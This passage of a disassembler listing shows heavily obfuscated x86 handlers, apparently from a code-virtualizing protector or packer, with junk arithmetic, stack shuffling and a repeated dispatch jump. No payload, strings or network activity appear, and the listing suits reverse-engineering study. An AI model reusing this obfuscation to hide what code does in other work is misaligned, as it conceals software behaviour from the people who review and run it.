		jmp	loc_58EE31
; ---------------------------------------------------------------------------


loc_592043:				; CODE XREF: sub_58A891+EA01j
		mov	[esp+0], edi
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_598A2A
; ---------------------------------------------------------------------------


loc_592054:				; DATA XREF: sub_58A891+39B7o
		lodsd
		push	4F03h
		mov	[esp+0Ch+var_C], ecx
		push	76C6508Eh
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		sub	eax, ecx
		pop	ecx
		add	eax, 742463C1h
		sub	eax, ebx
		sub	eax, 742463C1h
		push	esi
		push	66306AA5h
		pop	esi
		jmp	loc_594552
; ---------------------------------------------------------------------------


loc_592083:				; CODE XREF: sub_58A891+8E50j
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		jmp	loc_5937C0
; ---------------------------------------------------------------------------


loc_592094:				; CODE XREF: sub_58A891+E5CEj
		add	eax, 3171104Ah
		jmp	loc_58E537
; ---------------------------------------------------------------------------


loc_59209E:				; CODE XREF: sub_58A891+62ECj
		mov	edi, ebp
		pop	ebp
		inc	edi
		not	edi
		or	edi, 4FF1088h
		dec	edi
		xor	edi, 0D742E747h
		sub	esi, edi
		jmp	loc_596E11
; ---------------------------------------------------------------------------


loc_5920B8:				; CODE XREF: sub_58A891+8DE9j
		xor	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_58EF61
; ---------------------------------------------------------------------------


loc_5920C3:				; CODE XREF: sub_58A891+110F9j
		sub	ebp, 2A460F29h
		jmp	loc_58F479
; ---------------------------------------------------------------------------


loc_5920CE:				; DATA XREF: sub_58A891+3BC3o
		push	1F4Bh
		push	713Fh
		jmp	loc_58FAF1
; ---------------------------------------------------------------------------


loc_5920DD:				; CODE XREF: sub_58A891+8F58j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		and	eax, edx
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_59406E
; ---------------------------------------------------------------------------


loc_5920F3:				; CODE XREF: sub_58A891+F21Aj
		push	esi
		mov	esi, 12FA0857h
		and	edi, esi
		pop	esi
		add	edi, 60324D36h
		add	eax, edi
		pop	edi
		push	437Eh
		mov	[esp+0Ch+var_C], edx
		mov	edx, 1E835A54h
		push	ebp
		jmp	loc_594728
; ---------------------------------------------------------------------------


loc_592118:				; CODE XREF: sub_58A891+88DEj
					; sub_58A891+B438j
		sub	dh, 3Fh
		sub	bl, dh
		jmp	loc_591A79
; ---------------------------------------------------------------------------


loc_592122:				; CODE XREF: sub_58A891+886Aj
					; sub_58A891+9F22j
		xor	bh, ah
		pop	ax
		mov	dl, 0F1h
		add	dl, bh
		mov	ebx, [esp+0Eh+var_10+2]
		add	esp, 4
		and	dl, 1Fh
		shr	dl, 2
		jmp	loc_592F32
; ---------------------------------------------------------------------------


loc_59213B:				; CODE XREF: sub_58A891+96F0j
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 297274D0h
		neg	ebx
		jno	loc_5933E0
		push	ebx
		jmp	loc_597DF8
; ---------------------------------------------------------------------------
		add	ebp, edi
		pop	edi
		sub	esp, 4


loc_592160:				; CODE XREF: sub_58A891+B474j
		xor	[esp+12h+var_14+2], ebp
		jmp	loc_59A09F
; ---------------------------------------------------------------------------


loc_592168:				; CODE XREF: sub_58A891+E006j
		mov	edx, [esp+12h+var_14+2]
		jmp	loc_5947B8
; ---------------------------------------------------------------------------


loc_592170:				; CODE XREF: sub_58A891+E36Cj
		mov	[esp+12h+var_14+2], ebp
		jmp	loc_594E68
; ---------------------------------------------------------------------------


loc_592178:				; CODE XREF: sub_58A891+10F0Fj
		mov	word ptr [esp+12h+var_14+2], dx
		mov	dx, 1B68h
		sub	bx, 74h
		add	bx, dx
		add	bx, 74h
		pop	dx
		add	bx, ax
		push	706h
		mov	[esp+14h+var_14], eax
		jmp	loc_59076B
; ---------------------------------------------------------------------------


loc_59219F:				; CODE XREF: sub_58A891+10362j
		jnz	loc_591F0C
		inc	eax
		js	loc_591744
		jmp	loc_5907AF
; ---------------------------------------------------------------------------
		pop	edx
		push	edx


loc_5921B3:				; CODE XREF: sub_58A891+76A4j
		not	edi
		neg	edi
		neg	edi
		add	edi, 9673ED3Ch
		sub	eax, 12B36B6Bh
		jmp	loc_599098
; ---------------------------------------------------------------------------


loc_5921C9:				; CODE XREF: sub_58A891+7AE7j
					; sub_58A891+F471j
		not	esi
		jmp	loc_594263
; ---------------------------------------------------------------------------


loc_5921D0:				; CODE XREF: sub_58A891+DFB9j
		add	edx, ecx
		pop	ecx
		jmp	loc_59047D
; ---------------------------------------------------------------------------


loc_5921D8:				; CODE XREF: sub_58A891+8AA1j
		mov	edi, 43F2B40h
		push	edi
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_59705B
; ---------------------------------------------------------------------------


loc_5921E6:				; CODE XREF: sub_58A891+BEE1j
		mov	esi, 2
		add	edx, esi
		pop	esi
		xchg	edx, [esp+10h+var_10]
		pop	esp
		mov	ax, word ptr [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, esp
		jmp	loc_5910F4
; ---------------------------------------------------------------------------


loc_592203:				; CODE XREF: sub_58A891+BC73j
		xchg	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		add	word ptr [esp+10h+var_10], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592213:				; CODE XREF: sub_58A891+40E0j
					; sub_58A891+60E9j
		sub	eax, 612D68A1h
		add	eax, ebx
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 612D68A1h
		jmp	loc_598B0C
; ---------------------------------------------------------------------------


loc_59222A:				; CODE XREF: sub_58A891+731Dj
		add	esp, 4
		push	edx
		jmp	loc_59169E
; ---------------------------------------------------------------------------


loc_592236:				; CODE XREF: sub_58A891+CAC9j
		add	[esp+48h+var_4A+2], 4
		pop	eax
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp+48h+var_4A+2]
		add	esp, 4
		push	esi
		jmp	loc_595949
; ---------------------------------------------------------------------------


loc_592255:				; CODE XREF: sub_58A891+F453j
		push	esi
		mov	esi, 1F610C5Dh
		jmp	loc_58FC94
; ---------------------------------------------------------------------------


loc_592260:				; CODE XREF: sub_58A891+7DC1j
		push	ebx
		mov	ebx, 67694358h
		add	edx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		add	edx, esi
		sub	edx, 67694358h
		pop	esi
		sub	edx, 0D8E0DA25h
		add	edi, edx
		pop	edx
		xor	eax, edi
		jmp	loc_59BA42
; ---------------------------------------------------------------------------


loc_592287:				; DATA XREF: sub_58A891+3A6Fo
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_58F242
; ---------------------------------------------------------------------------


loc_592290:				; CODE XREF: sub_58A891+7573j
		and	edi, 70D839F3h
		neg	edi
		jmp	loc_593EB7
; ---------------------------------------------------------------------------


loc_59229D:				; CODE XREF: sub_58A891+DC97j
		add	esi, 3E485527h
		jle	loc_595E52
		add	esi, 15D74D50h
		push	ebp
		mov	ebp, 2ADD6C35h
		and	ebp, 216B0E25h
		shl	ebp, 5
		xor	ebp, 65169068h
		sub	esi, 3B0731A4h
		add	esi, ebp
		add	esi, 3B0731A4h
		pop	ebp
		mov	ebp, esi
		jmp	loc_597EA9
; ---------------------------------------------------------------------------


loc_5922DA:				; CODE XREF: sub_58A891+9A1Ej
		push	edi
		jmp	loc_59875C
; ---------------------------------------------------------------------------


loc_5922E0:				; CODE XREF: sub_58A891+5F8Dj
		pop	eax
		add	edx, eax
		mov	eax, [esp-8+arg_0]
		jmp	loc_592B40
; ---------------------------------------------------------------------------


loc_5922EB:				; CODE XREF: sub_58A891+AAC3j
		mov	[esp-8+arg_0], esi
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	esi, [esp+0]
		add	esp, 4
		push	edx
		jmp	loc_592518
; ---------------------------------------------------------------------------


loc_592307:				; CODE XREF: sub_58A891+56B2j
		push	7670h
		mov	[esp+54h+var_54], ebp
		jmp	loc_598CE9
; ---------------------------------------------------------------------------


loc_592314:				; CODE XREF: sub_58A891+4BF4j
		pop	ecx
		add	ebx, ebp
		jmp	loc_592F60
; ---------------------------------------------------------------------------


loc_59231C:				; CODE XREF: sub_58A891+A08Bj
					; sub_58A891+E213j
		mov	[esp+48h+var_4A+2], ecx
		mov	ecx, 561C42BAh
		inc	ecx
		jo	loc_59058A
		add	ecx, 3CC26152h
		xor	edi, ecx
		pop	ecx
		sub	eax, edi
		mov	edi, [esp+44h+var_46+2]
		add	esp, 4
		push	536Ah
		mov	[esp+44h+var_46+2], esi
		jmp	loc_59964E
; ---------------------------------------------------------------------------


loc_59234C:				; CODE XREF: sub_58A891+A073j
		not	eax
		sub	eax, 8751A418h
		jmp	loc_58EAC4
; ---------------------------------------------------------------------------


loc_592358:				; CODE XREF: sub_58A891+9E41j
		ror	[esp+44h+var_46+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592361:				; CODE XREF: sub_58A891+7BDFj
		pop	esp
		mov	[esp+44h+var_46+2], ebx
		push	eax
		mov	eax, 40785A21h
		push	eax
		dec	[esp+4Ch+var_4E+2]
		pop	eax
		jmp	loc_5993E3
; ---------------------------------------------------------------------------


loc_592375:				; CODE XREF: sub_58A891+D6CCj
		sub	esi, 0FFFFFFFFh
		jmp	loc_5921C9
; ---------------------------------------------------------------------------


loc_59237D:				; CODE XREF: sub_58A891+69B9j
		jp	loc_5942E6
		push	0E8Bh
		mov	[esp+8+var_8], esi
		mov	esi, 734934B5h
		push	ebp


loc_592391:				; CODE XREF: sub_58A891+ED0Fj
		mov	ebp, ebx
		pop	ebx
		sub	edi, ebp
		pop	ebp
		jmp	loc_59246D
; ---------------------------------------------------------------------------


loc_59239C:				; CODE XREF: sub_58A891+B2CBj
		dec	esi
		shr	esi, 2
		shl	esi, 5
		add	esi, 88A50EFh
		jmp	loc_59A845
; ---------------------------------------------------------------------------


loc_5923AE:				; CODE XREF: sub_58A891+C892j
		sub	esp, 4
		jmp	loc_5983EB
; ---------------------------------------------------------------------------


loc_5923B6:				; CODE XREF: sub_58A891+4A6Aj
		shl	edx, 8
		neg	edx
		inc	edx
		add	edx, 9D3B6730h
		sub	ebx, edx
		pop	edx
		mov	edx, [esp+2Ch+var_2C]
		add	esp, 4
		sub	esp, 4
		jmp	loc_59527C
; ---------------------------------------------------------------------------


loc_5923D6:				; CODE XREF: sub_58A891+7BB8j
		mov	esp, [esp+2Ch+var_2C]
		mov	[esp+2Ch+var_2C], ebx
		push	[esp+2Ch+var_2C]
		mov	eax, [esp+30h+var_30]
		add	esp, 4
		add	esp, 4
		push	3854h
		mov	[esp+2Ch+var_2C], edx
		push	800h
		mov	edx, [esp+30h+var_30]
		jmp	loc_599FC5
; ---------------------------------------------------------------------------


loc_592400:				; CODE XREF: sub_58A891+E861j
		add	esp, 4
		and	ecx, eax
		push	[esp+2Ch+var_2C]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_59BBAB
; ---------------------------------------------------------------------------


loc_592411:				; CODE XREF: sub_58A891+1011Dj
		inc	eax
		inc	eax
		jmp	loc_58E638
; ---------------------------------------------------------------------------


loc_592418:				; CODE XREF: sub_58A891+10FD8j
		mov	[esp+30h+var_30], eax
		push	1Ch
		jmp	loc_5956B1
; ---------------------------------------------------------------------------


loc_592425:				; CODE XREF: sub_58A891+E809j
		add	eax, 12B36B6Bh
		pop	edi
		push	dword ptr [edi+eax*4]
		push	ecx
		jmp	loc_5961EF
; ---------------------------------------------------------------------------


loc_592434:				; CODE XREF: sub_58A891+49D8j
		add	esp, 4
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp+28h+var_28]
		jmp	loc_5923D6
; ---------------------------------------------------------------------------


loc_59244E:				; CODE XREF: sub_58A891+8BAAj
		jmp	loc_59A8D3
; ---------------------------------------------------------------------------


loc_592453:				; CODE XREF: sub_58A891+D298j
		mov	ebp, [esp+28h+var_28]
		push	ebp
		jmp	loc_5950C0
; ---------------------------------------------------------------------------


loc_59245C:				; CODE XREF: sub_58A891+4C11j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592461:				; CODE XREF: sub_58A891+82D0j
		pop	edx
		jmp	loc_59A585
; ---------------------------------------------------------------------------


loc_592467:				; CODE XREF: sub_58A891+A23Fj
		push	edx
		jmp	loc_598F57
; ---------------------------------------------------------------------------


loc_59246D:				; CODE XREF: sub_58A891+7B06j
					; sub_58A891+9132j
		xchg	edi, [esp+4+var_4]
		jmp	loc_592361
; ---------------------------------------------------------------------------


loc_592475:				; CODE XREF: sub_58A891+E47Cj
		push	eax
		push	7092A6Eh
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 6DD13660h
		shl	ebx, 3
		shr	ebx, 6
		add	ebx, 0FFFFFFFFh
		push	edx
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		mov	ebp, 51B60D74h
		inc	ebp
		jge	loc_594CCB
		jmp	loc_58E76A
; ---------------------------------------------------------------------------
		mov	[esp+14h+var_14], esi
		mov	esi, 56C07B83h
		neg	esi


loc_5924B8:				; CODE XREF: sub_58A891+B8AEj
		mov	ebp, edx
		pop	edx
		add	eax, ebp
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		pop	ecx
		push	esi
		push	5107h
		mov	[esp+10h+var_10], edx
		jmp	loc_595860
; ---------------------------------------------------------------------------


loc_5924D5:				; CODE XREF: sub_58A891+F687j
		pop	edi
		xor	esi, 61923FC8h
		jmp	loc_5956A4
; ---------------------------------------------------------------------------


loc_5924E1:				; CODE XREF: sub_58A891+10139j
		pop	ebp
		jmp	loc_592993
; ---------------------------------------------------------------------------


loc_5924E7:				; CODE XREF: sub_58A891+83E3j
		sub	ecx, 23EF7552h
		add	ecx, edi
		add	ecx, 23EF7552h
		pop	edi
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		sar	word ptr [esp+4+var_4],	cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59250C:				; CODE XREF: sub_58A891+A049j
		mov	esp, [esp+8+var_8]
		rol	byte ptr [esp+8+var_8],	cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592518:				; CODE XREF: sub_58A891+7A71j
		push	ecx
		push	4A3059A8h
		jmp	loc_596AEF
; ---------------------------------------------------------------------------


loc_592523:				; CODE XREF: sub_58A891+B9D3j
		push	ebx
		push	[esp+8+var_4]
		pop	ebx
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_59A34A
; ---------------------------------------------------------------------------


loc_592532:				; CODE XREF: sub_58A891+5BCDj
		push	ecx
		jmp	loc_594EA0
; ---------------------------------------------------------------------------


loc_592538:				; CODE XREF: sub_58A891+B367j
		mov	[esp+1Ch+var_1C], edx
		push	esp
		pop	edx
		jmp	loc_58FCF2
; ---------------------------------------------------------------------------


loc_592542:				; CODE XREF: sub_58A891+8F2Aj
		sub	ebp, 4
		jmp	loc_597266
; ---------------------------------------------------------------------------


loc_59254D:				; CODE XREF: sub_58A891+D3E8j
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_58F9DC
; ---------------------------------------------------------------------------


loc_59255B:				; CODE XREF: sub_58A891+402Fj
		or	[edi+1Ch], ebx
		mov	ebx, [esp+3Ch+var_3C]
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59256C:				; CODE XREF: sub_58A891+9D31j
		push	73C1h
		mov	[esp+3Ch+var_3C], ecx
		push	edi
		mov	edi, 3C937AA9h
		mov	ecx, 5F58A7B5h
		jmp	loc_598B5B
; ---------------------------------------------------------------------------


loc_592584:				; CODE XREF: sub_58A891+ADF9j
		push	ecx
		mov	cx, 4A88h
		add	cx, 55C3h
		inc	cx
		inc	cx
		and	cx, 30C0h
		add	cx, 0E23Eh
		add	bx, cx
		pop	ecx
		sub	bx, 1DD8h
		sub	bx, ax
		add	bx, 1DD8h
		sub	bx, 27Eh
		pop	eax
		movzx	eax, ax
		push	ebx
		mov	ebx, esp
		jmp	loc_59625B
; ---------------------------------------------------------------------------


loc_5925BE:				; CODE XREF: sub_58A891+C5C5j
		push	eax
		jmp	loc_597811
; ---------------------------------------------------------------------------


loc_5925C4:				; CODE XREF: sub_58A891+5413j
		pop	edi
		add	edi, 4
		jmp	loc_599A9C
; ---------------------------------------------------------------------------


loc_5925D0:				; CODE XREF: sub_58A891+FA68j
		xor	eax, esi
		pop	esi
		jmp	loc_598A58
; ---------------------------------------------------------------------------


loc_5925D8:				; CODE XREF: sub_58A891+D60Dj
		push	ebp
		mov	ebp, 4C4C5170h
		xor	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 25A83C05h
		push	ecx
		mov	ecx, 7FB745E6h
		shr	ecx, 3
		jmp	loc_59A7C3
; ---------------------------------------------------------------------------


loc_5925F5:				; CODE XREF: sub_58A891+8112j
		mov	[esp+44h+var_46+2], ecx
		mov	ecx, 46057998h
		and	ecx, 66CE5830h
		sub	ecx, 723D675Ah
		sub	esp, 4
		jmp	loc_590FC5
; ---------------------------------------------------------------------------


loc_592611:				; CODE XREF: sub_58A891+DB97j
		add	al, 3Bh
		push	edx
		jmp	loc_595D9D
; ---------------------------------------------------------------------------


loc_592619:				; CODE XREF: sub_58A891+101C8j
		pop	esp
		jmp	loc_58F193
; ---------------------------------------------------------------------------


loc_59261F:				; CODE XREF: sub_58A891+A3DEj
		inc	ah
		shr	ah, 5
		jnz	loc_597B39
		or	ah, 3Bh
		jmp	loc_5992EE
; ---------------------------------------------------------------------------


loc_592632:				; CODE XREF: sub_58A891+953Fj
		mov	[esp+48h+var_4A+2], edi
		not	[esp+48h+var_4A+2]
		pop	edi
		push	7069h
		mov	[esp+48h+var_4A+2], edx
		mov	edx, 282832A3h
		push	esi
		mov	esi, 1CF86FC4h
		xor	esi, 1914A1Bh
		jmp	loc_592260
; ---------------------------------------------------------------------------


loc_592657:				; CODE XREF: sub_58A891+50CEj
		pop	ecx
		pop	[esp+0Ch+var_C]
		jmp	loc_593225
; ---------------------------------------------------------------------------


loc_592660:				; CODE XREF: sub_58A891+91D3j
		jmp	loc_598438
; ---------------------------------------------------------------------------


loc_592665:				; CODE XREF: sub_58A891+45D0j
		xor	edi, 0EB17897Ah
		add	ebp, edi
		jmp	loc_599489
; ---------------------------------------------------------------------------


loc_592672:				; CODE XREF: sub_58A891+FA6Ej
		push	1
		pop	eax
		jmp	loc_595023
; ---------------------------------------------------------------------------


loc_59267D:				; CODE XREF: sub_58A891+EAFFj
		push	ebp
		mov	ebp, 5F6572A4h
		push	esi
		mov	esi, 14D15420h
		sub	ebp, 203400A6h
		add	ebp, esi
		add	ebp, 203400A6h
		pop	esi
		sub	ebp, 530A4BBh
		jmp	loc_59135E
; ---------------------------------------------------------------------------


loc_5926A3:				; CODE XREF: sub_58A891+888Cj
		pop	ecx
		shl	bh, 2
		shr	bh, 6
		xor	bh, 24h
		add	dl, bh
		pop	ebx
		sub	dl, 53h
		add	al, dl
		mov	edx, [esp-10h+arg_8]
		add	esp, 4
		push	edx
		push	ebx
		push	eax
		mov	al, 0A7h
		not	al
		neg	al
		not	al
		sub	al, 75h
		mov	bh, al
		pop	eax
		add	bh, 1
		not	bh
		inc	bh
		push	eax
		mov	ah, 0DFh
		jmp	loc_58FC15
; ---------------------------------------------------------------------------


loc_5926DA:				; DATA XREF: sub_58A891+3AFFo
		mov	ecx, [esp+8+var_8]
		push	737Ch
		mov	[esp+0Ch+var_C], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		jmp	loc_59B937
; ---------------------------------------------------------------------------


loc_5926F5:				; CODE XREF: sub_58A891+3DE3j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+48h+var_4A+2]
		pop	esp
		mov	[esp+44h+var_46+2], ebp
		pop	eax
		pop	ebp
		push	6F54h
		mov	[esp+40h+var_40], ebp
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 19176EB1h
		inc	esi
		add	esi, 62D547BCh
		dec	esi
		neg	esi
		xor	esi, 3982264Eh
		jmp	loc_5939D5
; ---------------------------------------------------------------------------


loc_592730:				; CODE XREF: sub_58A891+10978j
		push	edx
		jmp	loc_59605C
; ---------------------------------------------------------------------------


loc_592736:				; CODE XREF: sub_58A891+B193j
		add	esp, 4
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], esi
		push	ecx
		jmp	loc_58F179
; ---------------------------------------------------------------------------


loc_592748:				; CODE XREF: sub_58A891+BD12j
					; sub_58A891+D5FDj
		pop	eax
		xor	edi, [esp+4Ch+var_4E+2]
		xor	[esp+4Ch+var_4E+2], edi
		jmp	loc_597CCA
; ---------------------------------------------------------------------------


loc_592754:				; CODE XREF: sub_58A891+5794j
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp+20h+var_20]
		pop	esp
		sub	esp, 4
		mov	[esp+20h+var_20], esi
		push	eax
		sub	esp, 4
		mov	[esp+28h+var_28], esp
		add	[esp+28h+var_28], 4
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+24h+var_24]
		pop	esp
		mov	[esp+20h+var_20], ebx
		push	6C11915h
		pop	ebx
		push	66CA84D9h
		pop	esi
		add	esi, 58C63D1Ah
		sub	esi, ebx
		push	ebp
		mov	ebp, 58C63D1Ah
		sub	esi, ebp
		pop	ebp
		mov	ebx, [esp+20h+var_20]
		add	esp, 4
		xor	eax, esi
		pop	esi
		push	2E05h
		mov	[esp+1Ch+var_1C], edi
		push	eax
		mov	eax, 6BAF18CFh
		mov	edi, eax
		pop	eax
		sub	edi, 0F548AB4Bh
		jmp	loc_5956C9
; ---------------------------------------------------------------------------


loc_5927D4:				; CODE XREF: sub_58A891+621Fj
		mov	ebp, eax
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		and	ecx, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		shr	ecx, 2
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_591B2E
; ---------------------------------------------------------------------------


loc_5927EF:				; CODE XREF: sub_58A891+74FBj
		mov	[esp+10h+var_10], esp
		jmp	loc_596D2E
; ---------------------------------------------------------------------------


loc_5927F7:				; CODE XREF: sub_58A891:loc_591903j
		shr	edi, 3
		jmp	loc_59AAE1
; ---------------------------------------------------------------------------


loc_5927FF:				; CODE XREF: sub_58A891+F170j
		push	[esp+48h+var_46+2]
		pop	ebp
		pop	[esp+48h+var_4A+2]
		jmp	loc_5914B0
; ---------------------------------------------------------------------------


loc_59280C:				; CODE XREF: sub_58A891+DF2Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_591092
; ---------------------------------------------------------------------------


loc_59281A:				; CODE XREF: sub_58A891:loc_590369j
					; sub_58A891+C975j
		inc	esi
		sub	esi, 674F0EE0h
		jmp	loc_599395
; ---------------------------------------------------------------------------


loc_592826:				; CODE XREF: sub_58A891+C927j
		and	ebp, ebx
		jmp	loc_59A4FE
; ---------------------------------------------------------------------------


loc_59282D:				; CODE XREF: sub_58A891+D07Dj
		xchg	edi, [esp+24h+var_24]
		pop	esp
		jmp	loc_58FEB5
; ---------------------------------------------------------------------------


loc_592836:				; CODE XREF: sub_58A891+10B75j
		mov	[esp+20h+var_20], esi
		mov	esi, 7D166C13h
		add	esi, 3D4C6388h
		push	edx
		mov	edx, 1EAD3AC2h
		or	edx, 0F1B327Bh
		shl	edx, 6
		jmp	loc_5971BD
; ---------------------------------------------------------------------------


loc_592858:				; CODE XREF: sub_58A891+C66Bj
		add	ebx, 5DE42CCDh
		xor	ebx, 2CE50E58h
		shr	ebx, 8
		xor	ebx, 7110C7h
		jmp	loc_594B20
; ---------------------------------------------------------------------------


loc_592872:				; CODE XREF: sub_58A891+491Aj
		pop	bx
		xor	bh, ch
		pop	ecx
		jmp	loc_591669
; ---------------------------------------------------------------------------


loc_59287C:				; CODE XREF: sub_58A891+6843j
		shl	edi, 1
		shl	edi, 1
		jmp	loc_59A972
; ---------------------------------------------------------------------------


loc_592885:				; CODE XREF: sub_58A891+C39Bj
		push	eax
		jmp	loc_5989D9
; ---------------------------------------------------------------------------


loc_59288B:				; CODE XREF: sub_58A891+CF83j
		push	2BC8h
		mov	[esp+58h+var_58], esi
		mov	esi, 2CB124C2h
		jmp	loc_597870
; ---------------------------------------------------------------------------


loc_59289D:				; CODE XREF: sub_58A891+5AD3j
		add	eax, 68AB76A9h
		pop	esi
		jmp	loc_5919B1
; ---------------------------------------------------------------------------


loc_5928A8:				; CODE XREF: sub_58A891+80DDj
					; sub_58A891+B5CDj
		mov	bh, 52h
		mov	cl, bh
		pop	ebx
		jmp	loc_5916F8
; ---------------------------------------------------------------------------


loc_5928B2:				; CODE XREF: sub_58A891+101B6j
		add	[esp+1Ch+var_18], edx
		push	edi
		mov	edi, 4DD812A9h
		jmp	loc_598E83
; ---------------------------------------------------------------------------


loc_5928C1:				; CODE XREF: sub_58A891+E2BFj
		and	esi, ebx
		jmp	loc_5995BF
; ---------------------------------------------------------------------------


loc_5928C8:				; CODE XREF: sub_58A891+5E45j
		mov	eax, 51FB4D46h
		jmp	loc_59B8E2
; ---------------------------------------------------------------------------


loc_5928D2:				; CODE XREF: sub_58A891+4ADEj
		mov	[esp+2Ch+var_2C], esp
		add	[esp+2Ch+var_2C], 4
		pop	esi
		push	ebp
		mov	ebp, 4
		jmp	loc_595E03
; ---------------------------------------------------------------------------


loc_5928E5:				; CODE XREF: sub_58A891:loc_596CBCj
		xor	eax, 310D3C27h
		ja	loc_590350
		sub	eax, 5F90D127h
		mov	esi, eax
		mov	eax, [esp+2Ch+var_2C]
		add	esp, 4
		push	ebp


loc_5928FE:				; CODE XREF: sub_58A891+9FD4j
		push	eax
		mov	ah, 91h
		xor	dl, ah
		pop	eax
		xor	dl, 5Fh
		add	dl, 0DDh
		add	dl, 45h
		jmp	loc_590B82
; ---------------------------------------------------------------------------


loc_592912:				; CODE XREF: sub_58A891+F811j
		mov	esp, [esp+2Ch+var_2C]
		shl	word ptr [esp+2Ch+var_2C], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59291F:				; CODE XREF: sub_58A891+61A9j
		xor	ebx, 0D26AB1BBh
		sub	eax, ebx
		pop	ebx
		pop	ecx
		jmp	loc_599DAB
; ---------------------------------------------------------------------------


loc_59292E:				; CODE XREF: sub_58A891+C320j
		pop	edi
		mov	edx, [esp+30h+var_30]
		add	esp, 4
		add	edx, 4
		push	edi
		push	ecx
		mov	ecx, 30352D6Ah
		jmp	loc_59AF7F
; ---------------------------------------------------------------------------


loc_592947:				; DATA XREF: sub_58A891+3AB7o
		mov	ecx, [esp+8+var_8]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	5002h
		mov	[esp+10h+var_10], ebx
		jmp	loc_5965D2
; ---------------------------------------------------------------------------


loc_592960:				; DATA XREF: sub_58A891+3A13o
		push	edx
		jmp	loc_597C13
; ---------------------------------------------------------------------------


loc_592966:				; CODE XREF: sub_58A891+54CEj
		add	esp, 4
		push	dx
		push	eax
		push	ecx
		push	ebx
		jmp	loc_5928A8
; ---------------------------------------------------------------------------


loc_592973:				; CODE XREF: sub_58A891+A2F0j
		push	5B9Ch
		mov	[esp+3Eh+var_40+2], edx
		push	[esp+3Eh+var_3C+2]
		jmp	loc_59749F
; ---------------------------------------------------------------------------


loc_592984:				; CODE XREF: sub_58A891+73FEj
		add	eax, ebp
		push	2282h
		mov	[esp+18h+var_18], ebp
		jmp	loc_593FAD
; ---------------------------------------------------------------------------


loc_592993:				; CODE XREF: sub_58A891+7C51j
		push	eax
		jmp	loc_59B63A
; ---------------------------------------------------------------------------


loc_592999:				; CODE XREF: sub_58A891+B2F9j
		mov	[esp+0Ch+var_C], eax
		mov	eax, esp
		push	55B6h
		jmp	loc_5925F5
; ---------------------------------------------------------------------------


loc_5929A8:				; CODE XREF: sub_58A891+10279j
		dec	ecx
		and	ecx, 1B143A04h
		jmp	loc_58FF0B
; ---------------------------------------------------------------------------


loc_5929B4:				; CODE XREF: sub_58A891+C412j
		pop	eax
		jmp	loc_592C79
; ---------------------------------------------------------------------------


loc_5929BA:				; DATA XREF: sub_58A891+3B6Fo
		lodsd
		sub	esp, 4
		jmp	loc_590C9C
; ---------------------------------------------------------------------------


loc_5929C6:				; CODE XREF: sub_58A891+BD84j
					; sub_58A891+ED50j
		pop	eax
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5929D5:				; CODE XREF: sub_58A891+740Aj
		sub	[esp+28h+var_28], edx
		jmp	loc_595F3C
; ---------------------------------------------------------------------------


loc_5929DD:				; CODE XREF: sub_58A891+EFE1j
		or	eax, eax
		jz	loc_592B29
		push	dword ptr [edi+28h]
		push	299h
		mov	[esp+30h+var_30], ebp
		push	edi
		mov	edi, 1A7B6A19h
		jmp	loc_590004
; ---------------------------------------------------------------------------


loc_5929FB:				; CODE XREF: sub_58A891+6C75j
		pop	ebx
		pop	ecx


loc_5929FD:				; CODE XREF: sub_58A891+11334j
		push	2379h
		mov	[esp+38h+var_38], ebp
		push	821h
		mov	[esp+3Ch+var_3C], esp
		jmp	loc_58F25F
; ---------------------------------------------------------------------------


loc_592A12:				; CODE XREF: sub_58A891+E6A6j
